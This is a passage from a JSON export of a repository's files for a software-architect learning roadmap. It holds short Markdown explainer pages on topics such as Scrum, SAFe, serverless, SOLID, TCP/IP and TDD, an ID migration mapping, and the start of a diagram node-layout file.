    "content": "# RUP\n\nThe RUP (**Rational Unified Process**) is not a widely recognized certification like PMP or Scrum, but rather a software development framework created by Rational Software (now IBM). It follows an iterative and incremental approach to project development, based on best practices for delivering high-quality software on time and within budget.\n\nVisit the following resources to learn more:\n\n- [@official@IBM Certified Solution Designer RUP](https://www.ibm.com/training/certification/ibm-certified-solution-designer-ibm-rational-unified-process-v70-38008003)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/safe@Bg7ru1q1j6pNB43HGxnHT.md",
    "content": "# SAFe\n\n**SAFe** is an agile framework designed to scale agile practices in large and complex organizations. Unlike LeSS, SAFe is more structured and provides a formal approach to coordinating multiple teams, programs, and portfolios. It incorporates elements of `Lean`, `DevOps`, and `agile principles`, and defines additional roles, ceremonies, and artifacts to align teams' goals with the business strategy. SAFe enables **large-scale planning**, **continuous delivery**, and **improvement of organizational efficiency**, offering a comprehensive framework for agile transformation at the corporate level.\n\nVisit the following resources to learn more:\n\n- [@official@SAFe 6.0](https://scaledagileframework.com/SAFE)\n- [@video@SAFe explained in five minutes](https://www.youtube.com/watch?v=aW2m-BtCJyE&t=2s)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/salesforce@mOXyzdNn8W-9R99ffcnor.md",
    "content": "# Salesforce\n\nSalesforce is a cloud platform helping companies to manage relationships with their customers\n\nVisit the following resources to learn more:\n\n- [@article@What is Salesforce and what is it used for?](https://ascendix.com/blog/what-is-salesforce-what-salesforce-is-used-for/)\n- [@video@What is Salesforce?](https://www.youtube.com/watch?v=xx2sK-QiBjw)\n- [@feed@Explore top posts about Salesforce](https://app.daily.dev/tags/salesforce?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/sap-erp-hana-business-objects@TxWAznp1tUtZ1MvThf9M1.md",
    "content": "# SAP ERP, HANA, Business Objects\n\nSAP (Systems, Applications, and Products in Data Processing) is a leading enterprise resource planning (ERP) software provider that helps organizations manage their business operations and customer relations effectively. SAP ERP integrates various business processes, such as finance, sales, procurement, and human resources, into a unified system, enabling real-time data access and improved decision-making. SAP HANA (High-Performance Analytic Appliance) is an in-memory database and application development platform that allows businesses to process large volumes of data quickly and efficiently, supporting advanced analytics and real-time reporting. BusinessObjects, part of the SAP Business Intelligence suite, provides powerful tools for data visualization, reporting, and analysis, enabling users to transform raw data into actionable insights. Together, these solutions empower organizations to streamline operations, enhance productivity, and drive strategic decision-making through data-driven insights.\n\nVisit the following resources to learn more:\n\n- [@official@SAP](https://www.sap.com/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/scrum@PKqwKvoffm0unwcFwpojk.md",
    "content": "# Scrum\n\n`Scrum` is a popular agile framework used for project management, particularly in software development. It emphasizes iterative development, collaboration, and flexibility to deliver high-quality products.\n\nKey elements of Scrum:\n\n*   **Sprints**: Time-boxed iterations (usually 2-4 weeks) where teams work on specific goals.\n*   **Product Backlog**: Prioritized list of features or requirements for the product.\n*   **Sprint Backlog**: Selected items from the Product Backlog to be completed during a Sprint.\n*   **Daily Scrum (Stand-up)**: Brief daily meeting where team members share progress, challenges, and plans for the day.\n*   **Sprint Review**: Meeting at the end of a Sprint to demonstrate completed work and gather feedback.\n*   **Sprint Retrospective**: Meeting to reflect on the Sprint, identify improvements, and adjust processes for the next Sprint.\n\nVisit the following resources to learn more:\n\n- [@article@What is Scrum and How to Get Started](https://www.atlassian.com/agile/scrum.)\n- [@article@Scrum Methodology: The Complete Guide & Best Practices](https://thedigitalprojectmanager.com/projects/pm-methodology/scrum-methodology-complete-guide/)\n- [@article@Essential Topics for the Scrum Product Owner](https://www.scrum.org/resources/blog/essential-topics-scrum-product-owner)\n- [@article@Scrum • Topics - Thriving Technologist](https://thrivingtechnologist.com/topics/scrum/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/security@IzFTn5-tQuF_Z0cG_w6CW.md",
    "content": "# Security\n\nSecurity is a broad field that encompasses various measures and practices designed to protect information, systems, and networks from unauthorized access, damage, or theft. It is essential in safeguarding sensitive data and maintaining the integrity and availability of resources.\n\nVisit the following resources to learn more:\n\n- [@article@Security - Wikipedia](https://en.wikipedia.org/wiki/Security)\n- [@article@Architect Security](https://aws.amazon.com/blogs/architecture/lets-architect-security-in-software-architectures/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/serverless-concepts@WoXoVwkSqXTP5U8HtyJOL.md",
    "content": "# Serverless Concepts\n\nServerless is a cloud-native development model that allows developers to build and run applications without having to manage servers. There are still servers in serverless, but they are abstracted away from app development. A cloud provider handles the routine work of provisioning, maintaining, and scaling the server infrastructure. Developers can simply package their code in containers for deployment.\n\nVisit the following resources to learn more:\n\n- [@article@What is Serverless?](https://www.redhat.com/en/topics/cloud-native-apps/what-is-serverless)\n- [@article@What is Serverless Computing?](https://www.cloudflare.com/learning/serverless/what-is-serverless/)\n- [@article@Serverless on AWS](https://aws.amazon.com/serverless/)\n- [@feed@Explore top posts about Serverless](https://app.daily.dev/tags/serverless?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/serverless@FAXKxl3fWUFShYmoCsInZ.md",
    "content": "# Serverless\n\nServerless architecture (also known as serverless computing or function as a service, FaaS) is a software design pattern where applications are hosted by a third-party service, eliminating the need for server software and hardware management by the developer. Applications are broken up into individual functions that can be invoked and scaled individually.\n\nVisit the following resources to learn more:\n\n- [@article@Serverless Architectures By AWS](https://aws.amazon.com/lambda/serverless-architectures-learn-more/)\n- [@article@Serverless in Detail](https://martinfowler.com/articles/serverless.html)\n- [@feed@Explore top posts about Serverless](https://app.daily.dev/tags/serverless?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/service-mesh@OErbfM-H3laFm47GCHNPI.md",
    "content": "# Service Mesh\n\nA Service Mesh is a dedicated infrastructure layer for handling service-to-service communication. It’s responsible for the reliable delivery of requests through the complex topology of services that comprise a modern, cloud native application. In layman's terms, it's a tool which helps you to control how different services communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@Red Hat - What is a Service Mesh?](https://www.redhat.com/en/topics/microservices/what-is-a-service-mesh)\n- [@article@Kubernetes Service Mesh - Blog Post](https://platform9.com/blog/kubernetes-service-mesh-a-comparison-of-istio-linkerd-and-consul/)\n- [@video@Service Mesh explained in 15 Minutes](https://youtu.be/16fgzklcF7Y)\n- [@feed@Explore top posts about Service Mesh](https://app.daily.dev/tags/service-mesh?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/service-oriented@6uvmMgvOwGyuLC5TOhjFu.md",
    "content": "# Service oriented\n\nService-oriented architecture (SOA) is an enterprise-wide approach to software development of application components that takes advantage of reusable software components, or services.\n\nSOA provides four different service types:\n\n1.  Functional services (i.e., business services), which are critical for business applications.\n2.  Enterprise services, which serve to implement functionality.\n3.  Application services, which are used to develop and deploy apps.\n4.  Infrastructure services, which are instrumental for backend processes like security and authentication.\n\nVisit the following resources to learn more:\n\n- [@article@SOA Architecture By AWS](https://aws.amazon.com/what-is/service-oriented-architecture/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/simplifying-things@lrtgF1RTaS4TCKww0aY6C.md",
    "content": "# Simplifying Things\n\nSimplifying solutions is critical for effective problem-solving, aligning with Occam’s Razor, which favors simplicity by reducing unnecessary assumptions. To achieve this, “shake” your solution by analyzing it from different perspectives and questioning its assumptions. After complex discussions, take a step back to review the big picture and refactor if needed, giving your brain time to process ideas. Apply the _divide and conquer_ method to break problems into smaller parts and validate their integration afterward. Finally, remember that refactoring is a valuable process to improve overly complex solutions, provided there’s adequate test coverage and stakeholder support.\n\nVisit the following resources to learn more:\n\n- [@article@Simplifying Things](https://www.infoq.com/articles/driving-architectural-simplicity/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/slack@CYnUg_okOcRrD7fSllxLW.md",
    "content": "# Slack\n\nSlack is a messaging app for business that connects people to the information that they need. By bringing people together to work as one unified team, Slack transforms the way that organisations communicate.\n\nVisit the following resources to learn more:\n\n- [@official@Slack](https://slack.com)\n- [@official@Getting Started with Slack](https://slack.com/intl/en-in/help/categories/360000049043)\n- [@video@What is Slack?](https://www.youtube.com/watch?v=q19RtuCHt1Q)\n- [@feed@Explore top posts about Slack](https://app.daily.dev/tags/slack?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/solid@QNG-KP01WQnq8o1-In1-n.md",
    "content": "# SOLID\n\nSOLID is a set of principles applied to object-oriented design (OOD) to create maintainable, understandable, and flexible code, while avoiding code smells and defects. The principles are:\n\n*   Single Responsibility\n*   Open/Closed\n*   Liskov Substitution\n*   Interface Segregation\n*   Dependency Inversion\n\nVisit the following resources to learn more:\n\n- [@article@SOLID Principles](https://www.baeldung.com/solid-principles)\n- [@article@SOLID: The First 5 Principles of Object Oriented Design](https://www.digitalocean.com/community/conceptual_articles/s-o-l-i-d-the-first-five-principles-of-object-oriented-design)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/solution-architecture@uGs-9xE3DMJxKhenltbFK.md",
    "content": "# Solution Level Architecture\n\nThe mid-level of architecture. Focus on one or more applications which fulfill a business need (business solution). Some high, but mainly low-level design. Communication is between multiple development teams.\n\nVisit the following resources to learn more:\n\n- [@article@Solution Architecture](https://www.leanix.net/en/wiki/it-architecture/solution-architecture)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/spa-ssr-ssg@ulwgDCQi_BYx5lmll7pzU.md",
    "content": "# SPA vs SSG vs SSR\n\n*   **SPA**: A single page application loads only a single web document from the server and then updates the content of that document on demand via `Javascript APIs` without reloading the entire document. React, Vue, Angular are the top frameworks used to create single page applications.\n*   **SSR**: This technique uses a server like `Node.js` to fully render the web document upon the receival of a request and then send it back to the client. This way the user get an interactive document with all the necessary information without having to wait for any JavaScript or CSS files to load.\n*   **SSG**: Static site generation renders the web document in the server(like SSR), however the page is rendered at **build time**. So, instead of rendering the page on the server upon the receival of a request, the page is already rendered in the server, waiting to be served to the client.\n\nVisit the following resources to learn more:\n\n- [@article@Web Design Patterns — SSR, SSG, and SPA](https://medium.com/codex/web-design-patterns-ssr-ssg-and-spa-fadad7673dfe)\n- [@article@Rendering on the Web](https://web.dev/rendering-on-the-web/)\n- [@feed@Explore top posts about Web Development](https://app.daily.dev/tags/webdev?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/sql-databases@n5AcBt_u8qtTe3PP9svPZ.md",
    "content": "# Sql databases\n\nSQL stands for Structured Query Language. It's used for relational databases. A SQL database is a collection of tables that stores a specific set of structured data. Examples of SQL Databases includes MariaDB, MySQL and PostgreSQL.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated SQL Roadmap](https://roadmap.sh/sql)\n- [@article@What is SQL? - AWS](https://aws.amazon.com/what-is/sql/)\n- [@article@SQL Databases](https://www.openlogic.com/blog/what-sql-database)\n- [@feed@Explore top posts about SQL](https://app.daily.dev/tags/sql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/tcpip-model@UCCT7-E_QUKPg3jAsjobx.md",
    "content": "# TCP/IP Model\n\nThe `TCP/IP model` defines how devices should transmit data between them and enables communication over networks and large distances. The model represents how data is exchanged and organized over networks. It is split into four layers, which set the standards for data exchange and represent how data is handled and packaged when being delivered between applications, devices, and servers.\n\n*   **Network Access Layer**: The network access layer is a group of applications requiring network communications. This layer is responsible for generating the data and requesting connections.\n    \n*   **Internet Layer**: The internet layer is responsible for sending packets from a network and controlling their movement across a network to ensure they reach their destination.\n    \n*   **Transport Layer**: The transport layer is responsible for providing a solid and reliable data connection between the original application or device and its intended destination.\n    \n*   **Application Layer**: The application layer refers to programs that need TCP/IP to help them communicate with each other.\n\nVisit the following resources to learn more:\n\n- [@article@What is Transmission Control Protocol TCP/IP? - Fortinet](https://www.fortinet.com/resources/cyberglossary/tcp-ip#:~:text=The%20TCP%2FIP%20model%20defines,exchanged%20and%20organized%20over%20networks.)\n- [@article@What is TCP/IP and How Does it Work?](https://www.techtarget.com/searchnetworking/definition/TCP-IP)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/tdd@DnP66pjK3b8tCtYr05n2G.md",
    "content": "# Test Driven Development\n\nTest driven development (TDD) is the process of writing tests for software's requirements which will fail until the software is developed to meet those requirements. Once those tests pass, then the cycle repeats to refactor code or develop another feature/requirement. In theory, this ensures that software is written to meet requirements in the simplest form, and avoids code defects.\n\nVisit the following resources to learn more:\n\n- [@article@What is Test Driven Development (TDD)?](https://www.guru99.com/test-driven-development.html)\n- [@article@Test-driven development](https://www.ibm.com/garage/method/practices/code/practice_test_driven_development/)\n- [@video@Agile in Practice: Test Driven Development](https://youtu.be/uGaNkTahrIw)\n- [@feed@Explore top posts about TDD](https://app.daily.dev/tags/tdd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/technical-skills@hFx3mLqh5omNxqI9lfaAQ.md",
    "content": "# Technical Skills\n\n*   Experience in software development\n*   Experience in project management\n*   Knowledge of one or more programming languages, such as Java, Python, JavaScript, Ruby, Rust, and C\n*   Knowledge of different development platforms\n*   Understanding of web applications, cybersecurity, and open source technologies\n*   Proficiency in analyzing code for issues and errors\n*   Experience in database platforms\n*   Experience with Operations and DevOps Skills"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/togaf@5TDTU22Fla2mRr6JeOcaY.md",
    "content": "# Togaf\n\nThe TOGAF content framework provides a detailed model of architectural work products, including deliverables, artifacts within deliverables, and the architectural building blocks that artifacts represent.\n\nVisit the following resources to learn more:\n\n- [@official@Togaf](https://www.opengroup.org/togaf)\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/The_Open_Group_Architecture_Framework)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/tools@SuMhTyaBS9vwASxAt39DH.md",
    "content": "# Architect Tools\n\nArchitect tools are software tools that help architects to design, document, and manage software architectures. These tools can be used to create architecture diagrams, generate code, and automate the software development process."
  },
  {
    "path": "src/data/roadmaps/software-architect/content/trello@a6joS9WXg-rbw29_KfBd9.md",
    "content": "# Trello\n\nTrello is the visual tool that empowers your team to manage any type of project, workflow, or task tracking.\n\nVisit the following resources to learn more:\n\n- [@official@Trello](https://trello.com)\n- [@official@Trello Guide](https://trello.com/guide)\n- [@video@A Tour Of Trello](https://www.youtube.com/watch?v=AyfupeWS0yY)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/uml@8FTKnAKNL9LnZBrw9YXqK.md",
    "content": "# UML\n\nThe Unified Modeling Language, or UML, is a modeling language that is intended to provide a standard way to visualize and describe the design of a system.\n\nVisit the following resources to learn more:\n\n- [@official@UML Website](https://www.uml.org)\n- [@article@UML Pattern - IBM](https://www.ibm.com/docs/en/rational-soft-arch/9.6.1?topic=files-uml-pattern-frameworks)\n- [@article@The Unified Modeling Language Reference Manual (Second Edition)](https://personal.utdallas.edu/~chung/Fujitsu/UML_2.0/Rumbaugh--UML_2.0_Reference_CD.pdf)\n- [@article@Wikipedia](https://en.wikipedia.org/wiki/Unified_Modeling_Language)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/understand-the-basics@4zicbh7Wg2lmKSRhb6E-L.md",
    "content": "# Software Architect Basics\n\nUnderstand different concepts such as what is software architecture, software architect, different types of architects and so on."
  },
  {
    "path": "src/data/roadmaps/software-architect/content/w3c-and-whatwg@s0RvufK2PLMXtlsn2KAUN.md",
    "content": "# W3c and WHATWG Standards\n\nWorld Wide Web Consortium (W3C) standards define the best practices for web development to enable developers to build rich interactive experiences that are available on any device. Theses standards range from recommended web technologies such as HTML, CSS, XML to the generally accepted principles of web architecture, semantics and services.\n\nWeb Hypertext Application Technology Working Group (WHATWG) is another set of web standards that came into existence after W3C announced that it was going to be focusing on XHTML over HTML.\n\nVisit the following resources to learn more:\n\n- [@official@W3C Standards](https://www.w3.org/standards/)\n- [@official@WHATWG Standards](https://spec.whatwg.org/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/web-mobile@j9Y2YbBKi3clO_sZ2L_hQ.md",
    "content": "# Web and Mobile\n\nWeb apps and mobile apps are two distinct types of software applications designed to run on different platforms. Web apps are accessed through web browsers and run on various devices using internet connectivity. They are platform-independent, making them easy to update and maintain, but often require an active internet connection. Mobile apps, on the other hand, are specifically developed for mobile operating systems like Android and iOS, providing enhanced performance, offline functionality, and seamless access to device features such as GPS, cameras, and sensors. While web apps prioritize accessibility and cost-effectiveness, mobile apps focus on delivering a tailored and optimized user experience.\n\nVisit the following resources to learn more:\n\n- [@article@Web vs Mobile](https://buildfire.com/difference-between-web-app-and-mobile-app/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/what-is-a-software-architect@eG38hT0rotYJ3G-t9df9R.md",
    "content": "# What is Software Architect?\n\nAn expert developer who design software solutions from the ground up, making high-level decisions about each stage of the process including technical standards, tools, design principles, platforms to be used, etc., leading a team of engineers to create the final product.\n\nVisit the following resources to learn more:\n\n- [@article@12 Skills a Software Architect Needs](https://www.redhat.com/architect/what-is-software-architect)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/what-is-software-architecture@EGG99VA-PEdWdVxNDLtG_.md",
    "content": "# What is Software Architecture?\n\nDescribes how an application is built including its components, how they interact with each other, environment in which they operate and so on.\n\nVisit the following resources to learn more:\n\n- [@article@What is Software Architecture in Software Engineering?](https://www.computer.org/resources/software-architecture)\n- [@article@Software Architecture: It might not be what you think it is](https://www.infoq.com/articles/what-software-architecture/)\n- [@feed@Explore top posts about Architecture](https://app.daily.dev/tags/architecture?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/working-with-data@YCJYRA3b-YSm8vKmGUFk5.md",
    "content": "# Working with Databases\n\nWorking with databases involves storing, managing, and retrieving data efficiently to support applications and business processes. Databases can be relational, like MySQL and PostgreSQL, which use structured tables and SQL for querying, or non-relational (NoSQL), like MongoDB and Cassandra, which handle unstructured or semi-structured data. Effective database management requires designing normalized schemas for relational databases, ensuring data integrity, and optimizing queries for performance. For NoSQL databases, it's important to choose the right type (e.g., document, key-value, columnar) based on application needs. Additionally, managing transactions, indexing, backups, and security are crucial for maintaining reliable and scalable database systems.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to Databases](https://www.digitalocean.com/community/conceptual-articles/an-introduction-to-databases)"
  },
  {
    "path": "src/data/roadmaps/software-architect/content/xp@7fL9lSu4BD1wRjnZy9tM9.md",
    "content": "# Extreme Programming (XP)\n\n`Extreme Programming (XP)` is a popular agile software development framework that emphasizes speed, simplicity, and quality. It was developed by Kent Beck in the late 1990s and is based on five values:\n\n*   **Communication**: Open and honest communication among team members and stakeholders is essential.\n*   **Simplicity**: The simplest solution that works is always preferred.\n*   **Feedback**: Continuous feedback from customers and team members is used to improve the product.\n*   **Courage**: Team members must be willing to make changes and take risks.\n*   **Respect**: Everyone on the team is treated with respect.\n\nVisit the following resources to learn more:\n\n- [@article@What is Extreme Programming (XP)?](https://www.agilealliance.org/glossary/xp/)\n- [@article@It's Values, Principles, And Practices](https://www.nimblework.com/agile/extreme-programming-xp/)\n- [@article@Extreme Programming (XP)](https://scrum-master.org/en/extreme-programming-xp-a-beginners-guide-to-the-agile-method/)"
  },
  {
    "path": "src/data/roadmaps/software-architect/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/software-architect/migration-mapping.json",
    "content": "{\n  \"software-architect-basics\": \"4zicbh7Wg2lmKSRhb6E-L\",\n  \"software-architect-basics:what-is-software-architecture\": \"EGG99VA-PEdWdVxNDLtG_\",\n  \"software-architect-basics:what-is-software-architect\": \"eG38hT0rotYJ3G-t9df9R\",\n  \"software-architect-basics:levels-of-architecture\": \"2sR4KULvAUUoOtopvsEBs\",\n  \"software-architect-basics:levels-of-architecture:solution-architecture\": \"uGs-9xE3DMJxKhenltbFK\",\n  \"software-architect-basics:levels-of-architecture:application-architecture\": \"Lqe47l4j-C4OwkbkwPYry\",\n  \"software-architect-basics:levels-of-architecture:enterprise-architecture\": \"vlW07sc-FQnxPMjDMn8_F\",\n  \"architect-responsibilities\": \"rUxbG2S2nJuA1YVY6sjiX\",\n  \"important-skills\": \"lBtlDFPEQvQ_xtLtehU0S\",\n  \"important-skills:design-and-architecture\": \"fBd2m8tMJmhuNSaakrpg4\",\n  \"important-skills:decision-making\": \"MSDo0nPk_ghRYkZS4MAQ_\",\n  \"important-skills:simplifying-things\": \"lrtgF1RTaS4TCKww0aY6C\",\n  \"important-skills:how-to-code\": \"77KvWCA1oHSGgDKBTwjv7\",\n  \"important-skills:documentation\": \"5D-kbQ520k1D3fCtD01T7\",\n  \"important-skills:communication\": \"Ac49sOlQKblYK4FZuFHDR\",\n  \"important-skills:estimate-and-evaluate\": \"m0ZYdqPFDoHOPo18wKyvV\",\n  \"important-skills:balance\": \"otHQ6ye1xgkI1qb4tEHVF\",\n  \"important-skills:consult-and-coach\": \"LSWlk9A3b6hco9Il_elao\",\n  \"important-skills:marketing-skills\": \"YW6j3Sg511dXToTcwSnOS\",\n  \"technical-skills\": \"hFx3mLqh5omNxqI9lfaAQ\",\n  \"programming-languages\": \"uoDtVFThaV6OMK2wXGfP5\",\n  \"programming-languages:dotnet-framework\": \"D1IXOBUrrXf5bXhVu9cmI\",\n  \"programming-languages:javascript-typescript\": \"bhP5gMpRVebSFpCeHVXBj\",\n  \"programming-languages:python\": \"j2Ph2QcKwmKlbaMHz1l_i\",\n  \"programming-languages:ruby\": \"U_Hmzfjjs1jVtu2CZ0TlG\",\n  \"programming-languages:go\": \"nKlM9k4qAh4wBFXqM-2kC\",\n  \"programming-languages:java-kotlin-scala\": \"a5DB_hsD4bAf8BtHNFNPo\",\n  \"patterns-and-design-principles\": \"_U0VoTkqM1d6NR13p5azS\",\n  \"patterns-and-design-principles:mvc-mvp-mvvm\": \"jj5otph6mEYiR-oU5WVtT\",\n  \"patterns-and-design-principles:cqrs-eventual-consistency\": \"RsnN5bt8OhSMjSFmVgw-X\",\n  \"patterns-and-design-principles:oop\": \"AMDLJ_Bup-AY1chl_taV3\",\n  \"patterns-and-design-principles:actors\": \"AoWO2BIKG5X4JWir6kh5r\",\n  \"patterns-and-design-principles:acid-cap-theorem\": \"bbKEEk7dvfFZBBJaIjm0j\",\n  \"patterns-and-design-principles:solid\": \"QNG-KP01WQnq8o1-In1-n\",\n  \"patterns-and-design-principles:tdd\": \"DnP66pjK3b8tCtYr05n2G\",\n  \"patterns-and-design-principles:ddd\": \"IIelzs8XYMPnXabFKRI51\",\n  \"architect-tools\": \"SuMhTyaBS9vwASxAt39DH\",\n  \"architect-tools:git\": \"ZEzYb-i55hBe9kK3bla94\",\n  \"architect-tools:slack\": \"CYnUg_okOcRrD7fSllxLW\",\n  \"architect-tools:trello\": \"a6joS9WXg-rbw29_KfBd9\",\n  \"architect-tools:atlassian-tools\": \"3bpd0iZTd3G-H8A7yrExY\",\n  \"architectures\": \"OaLmlfkZid7hKqJ9G8oNV\",\n  \"architectures:serverless\": \"FAXKxl3fWUFShYmoCsInZ\",\n  \"architectures:client-server-architecture\": \"mka_DwiboH5sGFhXhk6ez\",\n  \"architectures:layered-architecture\": \"05hLO2_A8Tr6cLJGFRhOh\",\n  \"architectures:distributed-systems\": \"j7OP6RD_IAU6HsyiGaynx\",\n  \"architectures:service-oriented\": \"6uvmMgvOwGyuLC5TOhjFu\",\n  \"security\": \"IzFTn5-tQuF_Z0cG_w6CW\",\n  \"security:hashing-algorithms\": \"7tBAD0ox9hTK4D483GTRo\",\n  \"security:pki\": \"OpL2EqvHbUmFgnpuhtZPr\",\n  \"security:owasp\": \"KhqUK-7jdClu9M2Pq7x--\",\n  \"security:auth-strategies\": \"KiwFXB6yd0go30zAFMTJt\",\n  \"working-with-data\": \"YCJYRA3b-YSm8vKmGUFk5\",\n  \"working-with-data:hadoop-spark-mapreduce\": \"92GG4IRZ3FijumC94aL-T\",\n  \"working-with-data:etl-datawarehouses\": \"JUFE4OQhnXOt1J_MG-Sjf\",\n  \"working-with-data:sql-databases\": \"n5AcBt_u8qtTe3PP9svPZ\",\n  \"working-with-data:nosql-databases\": \"57liQPaPyVpE-mdLnsbi0\",\n  \"working-with-data:analytics:apache-spark\": \"a0baFv7hVWZGvS5VLh5ig\",\n  \"working-with-data:analytics:hadoop\": \"I_VjjmMK52_tS8qjQUspN\",\n  \"working-with-data:analytics:datawarehouses-principles\": \"B5YtP8C1A0jB3MOdg0c_q\",\n  \"apis-and-integrations\": \"Ocn7-ctpnl71ZCZ_uV-uD\",\n  \"apis-and-integrations:grpc\": \"priDGksAvJ05YzakkTFtM\",\n  \"apis-and-integrations:esb-soap\": \"fELnBA0eOoE-d9rSmDJ8l\",\n  \"apis-and-integrations:graphql\": \"Sp3FdPT4F9YnTGvlE_vyq\",\n  \"apis-and-integrations:rest\": \"Ss43xwK1ydEToj6XmmCt7\",\n  \"apis-and-integrations:bpm-bpel\": \"DwNda95-fE7LWnDA6u1LU\",\n  \"apis-and-integrations:messaging-queues\": \"4NVdEbmpQVHpBc7582S6E\",\n  \"web-and-mobile\": \"j9Y2YbBKi3clO_sZ2L_hQ\",\n  \"web-and-mobile:reactive-functional-programming\": \"C0g_kQFlte5siHMHwlHQb\",\n  \"web-and-mobile:react-vue-angular\": \"mCiYCbKIOVU34qil_q7Hg\",\n  \"web-and-mobile:spa-ssr-ssg\": \"ulwgDCQi_BYx5lmll7pzU\",\n  \"web-and-mobile:microfrontends\": \"vpko5Kyf6BZ5MHpxXOKaf\",\n  \"web-and-mobile:w3c-and-whatwg-standards\": \"s0RvufK2PLMXtlsn2KAUN\",\n  \"architect-frameworks:babok\": \"LQlzVxUxM3haWRwbhYHKY\",\n  \"architect-frameworks:iaf\": \"wFu9VO48EYbIQrsM8YUCj\",\n  \"architect-frameworks:uml\": \"8FTKnAKNL9LnZBrw9YXqK\",\n  \"architect-frameworks:togaf\": \"5TDTU22Fla2mRr6JeOcaY\",\n  \"architect-frameworks\": \"hjlkxYZS7Zf9En3IUS-Wm\",\n  \"management\": \"UyIwiIiKaa6LTQaqzbCam\",\n  \"management:certifications:pmi-itil-prince2-rup\": \"hRug9yJKYacB9X_2cUalR\",\n  \"management:agile-scrum:less\": \"qwpsGRFgzAYstM7bJA2ZJ\",\n  \"management:agile-scrum:safe\": \"Bg7ru1q1j6pNB43HGxnHT\",\n  \"networks\": \"cBWJ6Duw99tSKr7U6OW3A\",\n  \"networks:osi-tcp-ip-model\": \"Mt5W1IvuHevNXVRlh7z26\",\n  \"networks:http-https\": \"Nq6o6Ty8VyNRsvg-UWp7D\",\n  \"networks:proxies\": \"6_EOmU5GYGDGzmNoLY8cB\",\n  \"networks:firewalls\": \"Hqk_GGsFi14SI5fgPSoGV\",\n  \"operations-knowledge\": \"EdJhuNhMSWjeVxGW-RZtL\",\n  \"operations-knowledge:infrastructure-as-code\": \"igf9yp1lRdAlN5gyQ8HHC\",\n  \"operations-knowledge:cloud-providers\": \"C0rKd5Rr27Z1_GleoEZxF\",\n  \"operations-knowledge:serverless-concepts\": \"WoXoVwkSqXTP5U8HtyJOL\",\n  \"operations-knowledge:linux-unix\": \"XnvlRrOhdoMsiGwGEhBro\",\n  \"operations-knowledge:service-mesh\": \"OErbfM-H3laFm47GCHNPI\",\n  \"operations-knowledge:ci-cd\": \"isavRe4ANVn77ZX6gNSLH\",\n  \"operations-knowledge:containers\": \"l3oeo65FyV5HHvw5n_1wa\",\n  \"operations-knowledge:cloud-design-patterns\": \"CxceVdaNCyKDhs0huDtcL\",\n  \"enterprise-software\": \"8yALyPVUZPtd7LX3GrO1e\",\n  \"enterprise-software:ms-dynamics\": \"gdtI0H_PzzTj_aFQn_NeA\",\n  \"enterprise-software:sap-epr-hana-business-objects\": \"TxWAznp1tUtZ1MvThf9M1\",\n  \"enterprise-software:emc-dms\": \"YfYviOXqGVp9C6DuhqBrn\",\n  \"enterprise-software:ibm-bpm\": \"5EVecZmvor09LjD7WR_Y9\",\n  \"enterprise-software:salesforce\": \"mOXyzdNn8W-9R99ffcnor\"\n}"
  },
  {
    "path": "src/data/roadmaps/software-architect/software-architect.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"HaPjaHngq_QXfsGqfVnj-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -142.86817520709303,\n        \"y\": 1860.050314077109\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 126,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 126\n      },\n      \"positionAbsolute\": {\n        \"x\": -142.86817520709303,\n        \"y\": 1860.050314077109\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 126\n      }\n    },\n    {\n      \"id\": \"3wUggQOHRXp1cG9e0RrRL\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -311.45679584154783,\n        \"y\": 1985.319351034787\n      },\n      \"width\": 232,\n      \"height\": 164,\n      \"style\": {\n        \"width\": 232,\n        \"height\": 164\n      },\n      \"selected\": false,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -311.45679584154783,\n        \"y\": 1985.319351034787\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 164\n      }\n    },\n    {\n      \"id\": 